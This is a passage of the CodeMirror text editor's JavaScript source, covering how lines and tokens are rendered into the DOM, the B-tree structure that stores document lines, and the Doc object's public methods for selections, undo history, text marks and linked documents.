      if (hasBadBidiRects(cm.display.measure) && (order = getOrder(line)))
        builder.addToken = buildTokenBadBidi(builder.addToken, order);
      builder.map = [];
      var allowFrontierUpdate = lineView != cm.display.externalMeasured && lineNo(line);
      insertLineContent(line, builder, getLineStyles(cm, line, allowFrontierUpdate));
      if (line.styleClasses) {
        if (line.styleClasses.bgClass)
          builder.bgClass = joinClasses(line.styleClasses.bgClass, builder.bgClass || "");
        if (line.styleClasses.textClass)
          builder.textClass = joinClasses(line.styleClasses.textClass, builder.textClass || "");
      }

      // Ensure at least a single node is present, for measuring.
      if (builder.map.length == 0)
        builder.map.push(0, 0, builder.content.appendChild(zeroWidthElement(cm.display.measure)));

      // Store the map and a cache object for the current logical line
      if (i == 0) {
        lineView.measure.map = builder.map;
        lineView.measure.cache = {};
      } else {
        (lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map);
        (lineView.measure.caches || (lineView.measure.caches = [])).push({});
      }
    }

    // See issue #2901
    if (webkit && /\bcm-tab\b/.test(builder.content.lastChild.className))
      builder.content.className = "cm-tab-wrap-hack";

    signal(cm, "renderLine", cm, lineView.line, builder.pre);
    if (builder.pre.className)
      builder.textClass = joinClasses(builder.pre.className, builder.textClass || "");

    return builder;
  }

  function defaultSpecialCharPlaceholder(ch) {
    var token = elt("span", "\u2022", "cm-invalidchar");
    token.title = "\\u" + ch.charCodeAt(0).toString(16);
    token.setAttribute("aria-label", token.title);
    return token;
  }

  // Build up the DOM representation for a single token, and add it to
  // the line map. Takes care to render special characters separately.
  function buildToken(builder, text, style, startStyle, endStyle, title, css) {
    if (!text) return;
    var displayText = builder.splitSpaces ? text.replace(/ {3,}/g, splitSpaces) : text;
    var special = builder.cm.state.specialChars, mustWrap = false;
    if (!special.test(text)) {
      builder.col += text.length;
      var content = document.createTextNode(displayText);
      builder.map.push(builder.pos, builder.pos + text.length, content);
      if (ie && ie_version < 9) mustWrap = true;
      builder.pos += text.length;
    } else {
      var content = document.createDocumentFragment(), pos = 0;
      while (true) {
        special.lastIndex = pos;
        var m = special.exec(text);
        var skipped = m ? m.index - pos : text.length - pos;
        if (skipped) {
          var txt = document.createTextNode(displayText.slice(pos, pos + skipped));
          if (ie && ie_version < 9) content.appendChild(elt("span", [txt]));
          else content.appendChild(txt);
          builder.map.push(builder.pos, builder.pos + skipped, txt);
          builder.col += skipped;
          builder.pos += skipped;
        }
        if (!m) break;
        pos += skipped + 1;
        if (m[0] == "\t") {
          var tabSize = builder.cm.options.tabSize, tabWidth = tabSize - builder.col % tabSize;
          var txt = content.appendChild(elt("span", spaceStr(tabWidth), "cm-tab"));
          txt.setAttribute("role", "presentation");
          txt.setAttribute("cm-text", "\t");
          builder.col += tabWidth;
        } else if (m[0] == "\r" || m[0] == "\n") {
          var txt = content.appendChild(elt("span", m[0] == "\r" ? "\u240d" : "\u2424", "cm-invalidchar"));
          txt.setAttribute("cm-text", m[0]);
          builder.col += 1;
        } else {
          var txt = builder.cm.options.specialCharPlaceholder(m[0]);
          txt.setAttribute("cm-text", m[0]);
          if (ie && ie_version < 9) content.appendChild(elt("span", [txt]));
          else content.appendChild(txt);
          builder.col += 1;
        }
        builder.map.push(builder.pos, builder.pos + 1, txt);
        builder.pos++;
      }
    }
    if (style || startStyle || endStyle || mustWrap || css) {
      var fullStyle = style || "";
      if (startStyle) fullStyle += startStyle;
      if (endStyle) fullStyle += endStyle;
      var token = elt("span", [content], fullStyle, css);
      if (title) token.title = title;
      return builder.content.appendChild(token);
    }
    builder.content.appendChild(content);
  }

  function splitSpaces(old) {
    var out = " ";
    for (var i = 0; i < old.length - 2; ++i) out += i % 2 ? " " : "\u00a0";
    out += " ";
    return out;
  }

  // Work around nonsense dimensions being reported for stretches of
  // right-to-left text.
  function buildTokenBadBidi(inner, order) {
    return function(builder, text, style, startStyle, endStyle, title, css) {
      style = style ? style + " cm-force-border" : "cm-force-border";
      var start = builder.pos, end = start + text.length;
      for (;;) {
        // Find the part that overlaps with the start of this text
        for (var i = 0; i < order.length; i++) {
          var part = order[i];
          if (part.to > start && part.from <= start) break;
        }
        if (part.to >= end) return inner(builder, text, style, startStyle, endStyle, title, css);
        inner(builder, text.slice(0, part.to - start), style, startStyle, null, title, css);
        startStyle = null;
        text = text.slice(part.to - start);
        start = part.to;
      }
    };
  }

  function buildCollapsedSpan(builder, size, marker, ignoreWidget) {
    var widget = !ignoreWidget && marker.widgetNode;
    if (widget) builder.map.push(builder.pos, builder.pos + size, widget);
    if (!ignoreWidget && builder.cm.display.input.needsContentAttribute) {
      if (!widget)
        widget = builder.content.appendChild(document.createElement("span"));
      widget.setAttribute("cm-marker", marker.id);
    }
    if (widget) {
      builder.cm.display.input.setUneditable(widget);
      builder.content.appendChild(widget);
    }
    builder.pos += size;
  }

  // Outputs a number of spans to make up a line, taking highlighting
  // and marked text into account.
  function insertLineContent(line, builder, styles) {
    var spans = line.markedSpans, allText = line.text, at = 0;
    if (!spans) {
      for (var i = 1; i < styles.length; i+=2)
        builder.addToken(builder, allText.slice(at, at = styles[i]), interpretTokenStyle(styles[i+1], builder.cm.options));
      return;
    }

    var len = allText.length, pos = 0, i = 1, text = "", style, css;
    var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, title, collapsed;
    for (;;) {
      if (nextChange == pos) { // Update current marker set
        spanStyle = spanEndStyle = spanStartStyle = title = css = "";
        collapsed = null; nextChange = Infinity;
        var foundBookmarks = [];
        for (var j = 0; j < spans.length; ++j) {
          var sp = spans[j], m = sp.marker;
          if (m.type == "bookmark" && sp.from == pos && m.widgetNode) {
            foundBookmarks.push(m);
          } else if (sp.from <= pos && (sp.to == null || sp.to > pos || m.collapsed && sp.to == pos && sp.from == pos)) {
            if (sp.to != null && sp.to != pos && nextChange > sp.to) {
              nextChange = sp.to;
              spanEndStyle = "";
            }
            if (m.className) spanStyle += " " + m.className;
            if (m.css) css = (css ? css + ";" : "") + m.css;
            if (m.startStyle && sp.from == pos) spanStartStyle += " " + m.startStyle;
            if (m.endStyle && sp.to == nextChange) spanEndStyle += " " + m.endStyle;
            if (m.title && !title) title = m.title;
            if (m.collapsed && (!collapsed || compareCollapsedMarkers(collapsed.marker, m) < 0))
              collapsed = sp;
          } else if (sp.from > pos && nextChange > sp.from) {
            nextChange = sp.from;
          }
        }
        if (collapsed && (collapsed.from || 0) == pos) {
          buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 : collapsed.to) - pos,
                             collapsed.marker, collapsed.from == null);
          if (collapsed.to == null) return;
          if (collapsed.to == pos) collapsed = false;
        }
        if (!collapsed && foundBookmarks.length) for (var j = 0; j < foundBookmarks.length; ++j)
          buildCollapsedSpan(builder, 0, foundBookmarks[j]);
      }
      if (pos >= len) break;

      var upto = Math.min(len, nextChange);
      while (true) {
        if (text) {
          var end = pos + text.length;
          if (!collapsed) {
            var tokenText = end > upto ? text.slice(0, upto - pos) : text;
            builder.addToken(builder, tokenText, style ? style + spanStyle : spanStyle,
                             spanStartStyle, pos + tokenText.length == nextChange ? spanEndStyle : "", title, css);
          }
          if (end >= upto) {text = text.slice(upto - pos); pos = upto; break;}
          pos = end;
          spanStartStyle = "";
        }
        text = allText.slice(at, at = styles[i++]);
        style = interpretTokenStyle(styles[i++], builder.cm.options);
      }
    }
  }

  // DOCUMENT DATA STRUCTURE

  // By default, updates that start and end at the beginning of a line
  // are treated specially, in order to make the association of line
  // widgets and marker elements with the text behave more intuitive.
  function isWholeLineUpdate(doc, change) {
    return change.from.ch == 0 && change.to.ch == 0 && lst(change.text) == "" &&
      (!doc.cm || doc.cm.options.wholeLineUpdateBefore);
  }

  // Perform a change on the document data structure.
  function updateDoc(doc, change, markedSpans, estimateHeight) {
    function spansFor(n) {return markedSpans ? markedSpans[n] : null;}
    function update(line, text, spans) {
      updateLine(line, text, spans, estimateHeight);
      signalLater(line, "change", line, change);
    }
    function linesFor(start, end) {
      for (var i = start, result = []; i < end; ++i)
        result.push(new Line(text[i], spansFor(i), estimateHeight));
      return result;
    }

    var from = change.from, to = change.to, text = change.text;
    var firstLine = getLine(doc, from.line), lastLine = getLine(doc, to.line);
    var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines = to.line - from.line;

    // Adjust the line structure
    if (change.full) {
      doc.insert(0, linesFor(0, text.length));
      doc.remove(text.length, doc.size - text.length);
    } else if (isWholeLineUpdate(doc, change)) {
      // This is a whole-line replace. Treated specially to make
      // sure line objects move the way they are supposed to.
      var added = linesFor(0, text.length - 1);
      update(lastLine, lastLine.text, lastSpans);
      if (nlines) doc.remove(from.line, nlines);
      if (added.length) doc.insert(from.line, added);
    } else if (firstLine == lastLine) {
      if (text.length == 1) {
        update(firstLine, firstLine.text.slice(0, from.ch) + lastText + firstLine.text.slice(to.ch), lastSpans);
      } else {
        var added = linesFor(1, text.length - 1);
        added.push(new Line(lastText + firstLine.text.slice(to.ch), lastSpans, estimateHeight));
        update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
        doc.insert(from.line + 1, added);
      }
    } else if (text.length == 1) {
      update(firstLine, firstLine.text.slice(0, from.ch) + text[0] + lastLine.text.slice(to.ch), spansFor(0));
      doc.remove(from.line + 1, nlines);
    } else {
      update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
      update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans);
      var added = linesFor(1, text.length - 1);
      if (nlines > 1) doc.remove(from.line + 1, nlines - 1);
      doc.insert(from.line + 1, added);
    }

    signalLater(doc, "change", doc, change);
  }

  // The document is represented as a BTree consisting of leaves, with
  // chunk of lines in them, and branches, with up to ten leaves or
  // other branch nodes below them. The top node is always a branch
  // node, and is the document object itself (meaning it has
  // additional methods and properties).
  //
  // All nodes have parent links. The tree is used both to go from
  // line numbers to line objects, and to go from objects to numbers.
  // It also indexes by height, and is used to convert between height
  // and line object, and to find the total height of the document.
  //
  // See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html

  function LeafChunk(lines) {
    this.lines = lines;
    this.parent = null;
    for (var i = 0, height = 0; i < lines.length; ++i) {
      lines[i].parent = this;
      height += lines[i].height;
    }
    this.height = height;
  }

  LeafChunk.prototype = {
    chunkSize: function() { return this.lines.length; },
    // Remove the n lines at offset 'at'.
    removeInner: function(at, n) {
      for (var i = at, e = at + n; i < e; ++i) {
        var line = this.lines[i];
        this.height -= line.height;
        cleanUpLine(line);
        signalLater(line, "delete");
      }
      this.lines.splice(at, n);
    },
    // Helper used to collapse a small branch into a single leaf.
    collapse: function(lines) {
      lines.push.apply(lines, this.lines);
    },
    // Insert the given array of lines at offset 'at', count them as
    // having the given height.
    insertInner: function(at, lines, height) {
      this.height += height;
      this.lines = this.lines.slice(0, at).concat(lines).concat(this.lines.slice(at));
      for (var i = 0; i < lines.length; ++i) lines[i].parent = this;
    },
    // Used to iterate over a part of the tree.
    iterN: function(at, n, op) {
      for (var e = at + n; at < e; ++at)
        if (op(this.lines[at])) return true;
    }
  };

  function BranchChunk(children) {
    this.children = children;
    var size = 0, height = 0;
    for (var i = 0; i < children.length; ++i) {
      var ch = children[i];
      size += ch.chunkSize(); height += ch.height;
      ch.parent = this;
    }
    this.size = size;
    this.height = height;
    this.parent = null;
  }

  BranchChunk.prototype = {
    chunkSize: function() { return this.size; },
    removeInner: function(at, n) {
      this.size -= n;
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at < sz) {
          var rm = Math.min(n, sz - at), oldHeight = child.height;
          child.removeInner(at, rm);
          this.height -= oldHeight - child.height;
          if (sz == rm) { this.children.splice(i--, 1); child.parent = null; }
          if ((n -= rm) == 0) break;
          at = 0;
        } else at -= sz;
      }
      // If the result is smaller than 25 lines, ensure that it is a
      // single leaf node.
      if (this.size - n < 25 &&
          (this.children.length > 1 || !(this.children[0] instanceof LeafChunk))) {
        var lines = [];
        this.collapse(lines);
        this.children = [new LeafChunk(lines)];
        this.children[0].parent = this;
      }
    },
    collapse: function(lines) {
      for (var i = 0; i < this.children.length; ++i) this.children[i].collapse(lines);
    },
    insertInner: function(at, lines, height) {
      this.size += lines.length;
      this.height += height;
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at <= sz) {
          child.insertInner(at, lines, height);
          if (child.lines && child.lines.length > 50) {
            while (child.lines.length > 50) {
              var spilled = child.lines.splice(child.lines.length - 25, 25);
              var newleaf = new LeafChunk(spilled);
              child.height -= newleaf.height;
              this.children.splice(i + 1, 0, newleaf);
              newleaf.parent = this;
            }
            this.maybeSpill();
          }
          break;
        }
        at -= sz;
      }
    },
    // When a node has grown, check whether it should be split.
    maybeSpill: function() {
      if (this.children.length <= 10) return;
      var me = this;
      do {
        var spilled = me.children.splice(me.children.length - 5, 5);
        var sibling = new BranchChunk(spilled);
        if (!me.parent) { // Become the parent node
          var copy = new BranchChunk(me.children);
          copy.parent = me;
          me.children = [copy, sibling];
          me = copy;
        } else {
          me.size -= sibling.size;
          me.height -= sibling.height;
          var myIndex = indexOf(me.parent.children, me);
          me.parent.children.splice(myIndex + 1, 0, sibling);
        }
        sibling.parent = me.parent;
      } while (me.children.length > 10);
      me.parent.maybeSpill();
    },
    iterN: function(at, n, op) {
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at < sz) {
          var used = Math.min(n, sz - at);
          if (child.iterN(at, used, op)) return true;
          if ((n -= used) == 0) break;
          at = 0;
        } else at -= sz;
      }
    }
  };

  var nextDocId = 0;
  var Doc = CodeMirror.Doc = function(text, mode, firstLine, lineSep) {
    if (!(this instanceof Doc)) return new Doc(text, mode, firstLine, lineSep);
    if (firstLine == null) firstLine = 0;

    BranchChunk.call(this, [new LeafChunk([new Line("", null)])]);
    this.first = firstLine;
    this.scrollTop = this.scrollLeft = 0;
    this.cantEdit = false;
    this.cleanGeneration = 1;
    this.frontier = firstLine;
    var start = Pos(firstLine, 0);
    this.sel = simpleSelection(start);
    this.history = new History(null);
    this.id = ++nextDocId;
    this.modeOption = mode;
    this.lineSep = lineSep;
    this.extend = false;

    if (typeof text == "string") text = this.splitLines(text);
    updateDoc(this, {from: start, to: start, text: text});
    setSelection(this, simpleSelection(start), sel_dontScroll);
  };

  Doc.prototype = createObj(BranchChunk.prototype, {
    constructor: Doc,
    // Iterate over the document. Supports two forms -- with only one
    // argument, it calls that for each line in the document. With
    // three, it iterates over the range given by the first two (with
    // the second being non-inclusive).
    iter: function(from, to, op) {
      if (op) this.iterN(from - this.first, to - from, op);
      else this.iterN(this.first, this.first + this.size, from);
    },

    // Non-public interface for adding and removing lines.
    insert: function(at, lines) {
      var height = 0;
      for (var i = 0; i < lines.length; ++i) height += lines[i].height;
      this.insertInner(at - this.first, lines, height);
    },
    remove: function(at, n) { this.removeInner(at - this.first, n); },

    // From here, the methods are part of the public interface. Most
    // are also available from CodeMirror (editor) instances.

    getValue: function(lineSep) {
      var lines = getLines(this, this.first, this.first + this.size);
      if (lineSep === false) return lines;
      return lines.join(lineSep || this.lineSeparator());
    },
    setValue: docMethodOp(function(code) {
      var top = Pos(this.first, 0), last = this.first + this.size - 1;
      makeChange(this, {from: top, to: Pos(last, getLine(this, last).text.length),
                        text: this.splitLines(code), origin: "setValue", full: true}, true);
      setSelection(this, simpleSelection(top));
    }),
    replaceRange: function(code, from, to, origin) {
      from = clipPos(this, from);
      to = to ? clipPos(this, to) : from;
      replaceRange(this, code, from, to, origin);
    },
    getRange: function(from, to, lineSep) {
      var lines = getBetween(this, clipPos(this, from), clipPos(this, to));
      if (lineSep === false) return lines;
      return lines.join(lineSep || this.lineSeparator());
    },

    getLine: function(line) {var l = this.getLineHandle(line); return l && l.text;},

    getLineHandle: function(line) {if (isLine(this, line)) return getLine(this, line);},
    getLineNumber: function(line) {return lineNo(line);},

    getLineHandleVisualStart: function(line) {
      if (typeof line == "number") line = getLine(this, line);
      return visualLine(line);
    },

    lineCount: function() {return this.size;},
    firstLine: function() {return this.first;},
    lastLine: function() {return this.first + this.size - 1;},

    clipPos: function(pos) {return clipPos(this, pos);},

    getCursor: function(start) {
      var range = this.sel.primary(), pos;
      if (start == null || start == "head") pos = range.head;
      else if (start == "anchor") pos = range.anchor;
      else if (start == "end" || start == "to" || start === false) pos = range.to();
      else pos = range.from();
      return pos;
    },
    listSelections: function() { return this.sel.ranges; },
    somethingSelected: function() {return this.sel.somethingSelected();},

    setCursor: docMethodOp(function(line, ch, options) {
      setSimpleSelection(this, clipPos(this, typeof line == "number" ? Pos(line, ch || 0) : line), null, options);
    }),
    setSelection: docMethodOp(function(anchor, head, options) {
      setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head || anchor), options);
    }),
    extendSelection: docMethodOp(function(head, other, options) {
      extendSelection(this, clipPos(this, head), other && clipPos(this, other), options);
    }),
    extendSelections: docMethodOp(function(heads, options) {
      extendSelections(this, clipPosArray(this, heads, options));
    }),
    extendSelectionsBy: docMethodOp(function(f, options) {
      extendSelections(this, map(this.sel.ranges, f), options);
    }),
    setSelections: docMethodOp(function(ranges, primary, options) {
      if (!ranges.length) return;
      for (var i = 0, out = []; i < ranges.length; i++)
        out[i] = new Range(clipPos(this, ranges[i].anchor),
                           clipPos(this, ranges[i].head));
      if (primary == null) primary = Math.min(ranges.length - 1, this.sel.primIndex);
      setSelection(this, normalizeSelection(out, primary), options);
    }),
    addSelection: docMethodOp(function(anchor, head, options) {
      var ranges = this.sel.ranges.slice(0);
      ranges.push(new Range(clipPos(this, anchor), clipPos(this, head || anchor)));
      setSelection(this, normalizeSelection(ranges, ranges.length - 1), options);
    }),

    getSelection: function(lineSep) {
      var ranges = this.sel.ranges, lines;
      for (var i = 0; i < ranges.length; i++) {
        var sel = getBetween(this, ranges[i].from(), ranges[i].to());
        lines = lines ? lines.concat(sel) : sel;
      }
      if (lineSep === false) return lines;
      else return lines.join(lineSep || this.lineSeparator());
    },
    getSelections: function(lineSep) {
      var parts = [], ranges = this.sel.ranges;
      for (var i = 0; i < ranges.length; i++) {
        var sel = getBetween(this, ranges[i].from(), ranges[i].to());
        if (lineSep !== false) sel = sel.join(lineSep || this.lineSeparator());
        parts[i] = sel;
      }
      return parts;
    },
    replaceSelection: function(code, collapse, origin) {
      var dup = [];
      for (var i = 0; i < this.sel.ranges.length; i++)
        dup[i] = code;
      this.replaceSelections(dup, collapse, origin || "+input");
    },
    replaceSelections: docMethodOp(function(code, collapse, origin) {
      var changes = [], sel = this.sel;
      for (var i = 0; i < sel.ranges.length; i++) {
        var range = sel.ranges[i];
        changes[i] = {from: range.from(), to: range.to(), text: this.splitLines(code[i]), origin: origin};
      }
      var newSel = collapse && collapse != "end" && computeReplacedSel(this, changes, collapse);
      for (var i = changes.length - 1; i >= 0; i--)
        makeChange(this, changes[i]);
      if (newSel) setSelectionReplaceHistory(this, newSel);
      else if (this.cm) ensureCursorVisible(this.cm);
    }),
    undo: docMethodOp(function() {makeChangeFromHistory(this, "undo");}),
    redo: docMethodOp(function() {makeChangeFromHistory(this, "redo");}),
    undoSelection: docMethodOp(function() {makeChangeFromHistory(this, "undo", true);}),
    redoSelection: docMethodOp(function() {makeChangeFromHistory(this, "redo", true);}),

    setExtending: function(val) {this.extend = val;},
    getExtending: function() {return this.extend;},

    historySize: function() {
      var hist = this.history, done = 0, undone = 0;
      for (var i = 0; i < hist.done.length; i++) if (!hist.done[i].ranges) ++done;
      for (var i = 0; i < hist.undone.length; i++) if (!hist.undone[i].ranges) ++undone;
      return {undo: done, redo: undone};
    },
    clearHistory: function() {this.history = new History(this.history.maxGeneration);},

    markClean: function() {
      this.cleanGeneration = this.changeGeneration(true);
    },
    changeGeneration: function(forceSplit) {
      if (forceSplit)
        this.history.lastOp = this.history.lastSelOp = this.history.lastOrigin = null;
      return this.history.generation;
    },
    isClean: function (gen) {
      return this.history.generation == (gen || this.cleanGeneration);
    },

    getHistory: function() {
      return {done: copyHistoryArray(this.history.done),
              undone: copyHistoryArray(this.history.undone)};
    },
    setHistory: function(histData) {
      var hist = this.history = new History(this.history.maxGeneration);
      hist.done = copyHistoryArray(histData.done.slice(0), null, true);
      hist.undone = copyHistoryArray(histData.undone.slice(0), null, true);
    },

    addLineClass: docMethodOp(function(handle, where, cls) {
      return changeLine(this, handle, where == "gutter" ? "gutter" : "class", function(line) {
        var prop = where == "text" ? "textClass"
                 : where == "background" ? "bgClass"
                 : where == "gutter" ? "gutterClass" : "wrapClass";
        if (!line[prop]) line[prop] = cls;
        else if (classTest(cls).test(line[prop])) return false;
        else line[prop] += " " + cls;
        return true;
      });
    }),
    removeLineClass: docMethodOp(function(handle, where, cls) {
      return changeLine(this, handle, where == "gutter" ? "gutter" : "class", function(line) {
        var prop = where == "text" ? "textClass"
                 : where == "background" ? "bgClass"
                 : where == "gutter" ? "gutterClass" : "wrapClass";
        var cur = line[prop];
        if (!cur) return false;
        else if (cls == null) line[prop] = null;
        else {
          var found = cur.match(classTest(cls));
          if (!found) return false;
          var end = found.index + found[0].length;
          line[prop] = cur.slice(0, found.index) + (!found.index || end == cur.length ? "" : " ") + cur.slice(end) || null;
        }
        return true;
      });
    }),

    addLineWidget: docMethodOp(function(handle, node, options) {
      return addLineWidget(this, handle, node, options);
    }),
    removeLineWidget: function(widget) { widget.clear(); },

    markText: function(from, to, options) {
      return markText(this, clipPos(this, from), clipPos(this, to), options, options && options.type || "range");
    },
    setBookmark: function(pos, options) {
      var realOpts = {replacedWith: options && (options.nodeType == null ? options.widget : options),
                      insertLeft: options && options.insertLeft,
                      clearWhenEmpty: false, shared: options && options.shared,
                      handleMouseEvents: options && options.handleMouseEvents};
      pos = clipPos(this, pos);
      return markText(this, pos, pos, realOpts, "bookmark");
    },
    findMarksAt: function(pos) {
      pos = clipPos(this, pos);
      var markers = [], spans = getLine(this, pos.line).markedSpans;
      if (spans) for (var i = 0; i < spans.length; ++i) {
        var span = spans[i];
        if ((span.from == null || span.from <= pos.ch) &&
            (span.to == null || span.to >= pos.ch))
          markers.push(span.marker.parent || span.marker);
      }
      return markers;
    },
    findMarks: function(from, to, filter) {
      from = clipPos(this, from); to = clipPos(this, to);
      var found = [], lineNo = from.line;
      this.iter(from.line, to.line + 1, function(line) {
        var spans = line.markedSpans;
        if (spans) for (var i = 0; i < spans.length; i++) {
          var span = spans[i];
          if (!(lineNo == from.line && from.ch > span.to ||
                span.from == null && lineNo != from.line||
                lineNo == to.line && span.from > to.ch) &&
              (!filter || filter(span.marker)))
            found.push(span.marker.parent || span.marker);
        }
        ++lineNo;
      });
      return found;
    },
    getAllMarks: function() {
      var markers = [];
      this.iter(function(line) {
        var sps = line.markedSpans;
        if (sps) for (var i = 0; i < sps.length; ++i)
          if (sps[i].from != null) markers.push(sps[i].marker);
      });
      return markers;
    },

    posFromIndex: function(off) {
      var ch, lineNo = this.first;
      this.iter(function(line) {
        var sz = line.text.length + 1;
        if (sz > off) { ch = off; return true; }
        off -= sz;
        ++lineNo;
      });
      return clipPos(this, Pos(lineNo, ch));
    },
    indexFromPos: function (coords) {
      coords = clipPos(this, coords);
      var index = coords.ch;
      if (coords.line < this.first || coords.ch < 0) return 0;
      this.iter(this.first, coords.line, function (line) {
        index += line.text.length + 1;
      });
      return index;
    },

    copy: function(copyHistory) {
      var doc = new Doc(getLines(this, this.first, this.first + this.size),
                        this.modeOption, this.first, this.lineSep);
      doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft;
      doc.sel = this.sel;
      doc.extend = false;
      if (copyHistory) {
        doc.history.undoDepth = this.history.undoDepth;
        doc.setHistory(this.getHistory());
      }
      return doc;
    },

    linkedDoc: function(options) {
      if (!options) options = {};
      var from = this.first, to = this.first + this.size;
      if (options.from != null && options.from > from) from = options.from;
      if (options.to != null && options.to < to) to = options.to;
      var copy = new Doc(getLines(this, from, to), options.mode || this.modeOption, from, this.lineSep);
      if (options.sharedHist) copy.history = this.history;
      (this.linked || (this.linked = [])).push({doc: copy, sharedHist: options.sharedHist});
      copy.linked = [{doc: this, isParent: true, sharedHist: options.sharedHist}];
      copySharedMarkers(copy, findSharedMarkers(this));
      return copy;
    },
    unlinkDoc: function(other) {
      if (other instanceof CodeMirror) other = other.doc;
      if (this.linked) for (var i = 0; i < this.linked.length; ++i) {
        var link = this.linked[i];
        if (link.doc != other) continue;
        this.linked.splice(i, 1);
        other.unlinkDoc(this);
        detachSharedMarkers(findSharedMarkers(this));
        break;
      }
      // If the histories were shared, split them again
      if (other.history == this.history) {
        var splitIds = [other.id];
        linkedDocs(other, function(doc) {splitIds.push(doc.id);}, true);
        other.history = new History(null);
        other.history.done = copyHistoryArray(this.history.done, splitIds);
        other.history.undone = copyHistoryArray(this.history.undone, splitIds);
      }
    },
    iterLinkedDocs: function(f) {linkedDocs(this, f);},

    getMode: function() {return this.mode;},
    getEditor: function() {return this.cm;},

    splitLines: function(str) {
      if (this.lineSep) return str.split(this.lineSep);
      return splitLinesAuto(str);
    },
    lineSeparator: function() { return this.lineSep || "\n"; }
  });

  // Public alias.
  Doc.prototype.eachLine = Doc.prototype.iter;

  // Set up methods on CodeMirror's prototype to redirect to the editor's document.
  var dontDelegate = "iter insert remove copy getEditor constructor".split(" ");
  for (var prop in Doc.prototype) if (Doc.prototype.hasOwnProperty(prop) && indexOf(dontDelegate, prop) < 0)
    CodeMirror.prototype[prop] = (function(method) {
      return function() {return method.apply(this.doc, arguments);};
    })(Doc.prototype[prop]);

  eventMixin(Doc);

  // Call f for all linked documents.
  function linkedDocs(doc, f, sharedHistOnly) {
    function propagate(doc, skip, sharedHist) {
      if (doc.linked) for (var i = 0; i < doc.linked.length; ++i) {
        var rel = doc.linked[i];
        if (rel.doc == skip) continue;
        var shared = sharedHist && rel.sharedHist;
        if (sharedHistOnly && !shared) continue;
        f(rel.doc, shared);
        propagate(rel.doc, doc, shared);
      }
    }
    propagate(doc, null, true);
  }

  // Attach a document to an editor.
  function attachDoc(cm, doc) {
    if (doc.cm) throw new Error("This document is already in use.");
    cm.doc = doc;
    doc.cm = cm;
    estimateLineHeights(cm);
    loadMode(cm);
    if (!cm.options.lineWrapping) findMaxLine(cm);
    cm.options.mode = doc.modeOption;
    regChange(cm);
  }

  // LINE UTILITIES

  // Find the line object corresponding to the given line number.
  function getLine(doc, n) {
    n -= doc.first;
    if (n < 0 || n >= doc.size) throw new Error("There is no line " + (n + doc.first) + " in the document.");
    for (var chunk = doc; !chunk.lines;) {
      for (var i = 0;; ++i) {
        var child = chunk.children[i], sz = child.chunkSize();
        if (n < sz) { chunk = child; break; }
        n -= sz;
      }
    }
    return chunk.lines[n];
  }

  // Get the part of a document between two positions, as an array of
  // strings.
  function getBetween(doc, start, end) {
    var out = [], n = start.line;
    doc.iter(start.line, end.line + 1, function(line) {
      var text = line.text;
      if (n == end.line) text = text.slice(0, end.ch);
      if (n == start.line) text = text.slice(start.ch);
      out.push(text);
      ++n;
    });
    return out;
  }
  // Get the lines between from and to, as array of strings.
  function getLines(doc, from, to) {
    var out = [];
    doc.iter(from, to, function(line) { out.push(line.text); });
    return out;
  }

  // Update the height of a line, propagating the height change
  // upwards to parent nodes.
  function updateLineHeight(line, height) {
    var diff = height - line.height;
    if (diff) for (var n = line; n; n = n.parent) n.height += diff;
  }

  // Given a line object, find its line number by walking up through
  // its parent links.
  function lineNo(line) {
    if (line.parent == null) return null;
    var cur = line.parent, no = indexOf(cur.lines, line);
    for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent) {
      for (var i = 0;; ++i) {
        if (chunk.children[i] == cur) break;
        no += chunk.children[i].chunkSize();
      }
    }
    return no + cur.first;
  }

  // Find the line at the given vertical position, using the height
  // information in the document tree.
  function lineAtHeight(chunk, h) {
    var n = chunk.first;
    outer: do {
      for (var i = 0; i < chunk.children.length; ++i) {
        var child = chunk.children[i], ch = child.height;
        if (h < ch) { chunk = child; continue outer; }
        h -= ch;
        n += child.chunkSize();
      }
      return n;
    } while (!chunk.lines);
    for (var i = 0; i < chunk.lines.length; ++i) {
      var line = chunk.lines[i], lh = line.height;
      if (h < lh) break;
      h -= lh;
    }
    return n + i;
  }


  // Find the height above the given line.
  function heightAtLine(lineObj) {
    lineObj = visualLine(lineObj);

    var h = 0, chunk = lineObj.parent;
    for (var i = 0; i < chunk.lines.length; ++i) {
      var line = chunk.lines[i];
      if (line == lineObj) break;
      else h += line.height;
    }
    for (var p = chunk.parent; p; chunk = p, p = chunk.parent) {
      for (var i = 0; i < p.children.length; ++i) {
        var cur = p.children[i];
        if (cur == chunk) break;
        else h += cur.height;
      }
    }
    return h;
  }

  // Get the bidi ordering for the given line (and cache it). Returns
  // false for lines that are fully left-to-right, and an array of
  // BidiSpan objects otherwise.
  function getOrder(line) {
    var order = line.order;
    if (order == null) order = line.order = bidiOrdering(line.text);
    return order;
  }

  // HISTORY

  function History(startGen) {
    // Arrays of change events and selections. Doing something adds an
    // event to done and clears undo. Undoing moves events from done
    // to undone, redoing moves them in the other direction.
    this.done = []; this.undone = [];
    this.undoDepth = Infinity;
    // Used to track when changes can be merged into a single undo
    // event
    this.lastModTime = this.lastSelTime = 0;
    this.lastOp = this.lastSelOp = null;
    this.lastOrigin = this.lastSelOrigin = null;
    // Used by the isClean() method
    this.generation = this.maxGeneration = startGen || 1;
  }

  // Create a history change event from an updateDoc-style change
  // object.
  function historyChangeFromChange(doc, change) {
    var histChange = {from: copyPos(change.from), to: changeEnd(change), text: getBetween(doc, change.from, change.to)};
    attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);
    linkedDocs(doc, function(doc) {attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);}, true);
    return histChange;
  }

  // Pop all selection events off the end of a history array. Stop at
  // a change event.
  function clearSelectionEvents(array) {
    while (array.length) {
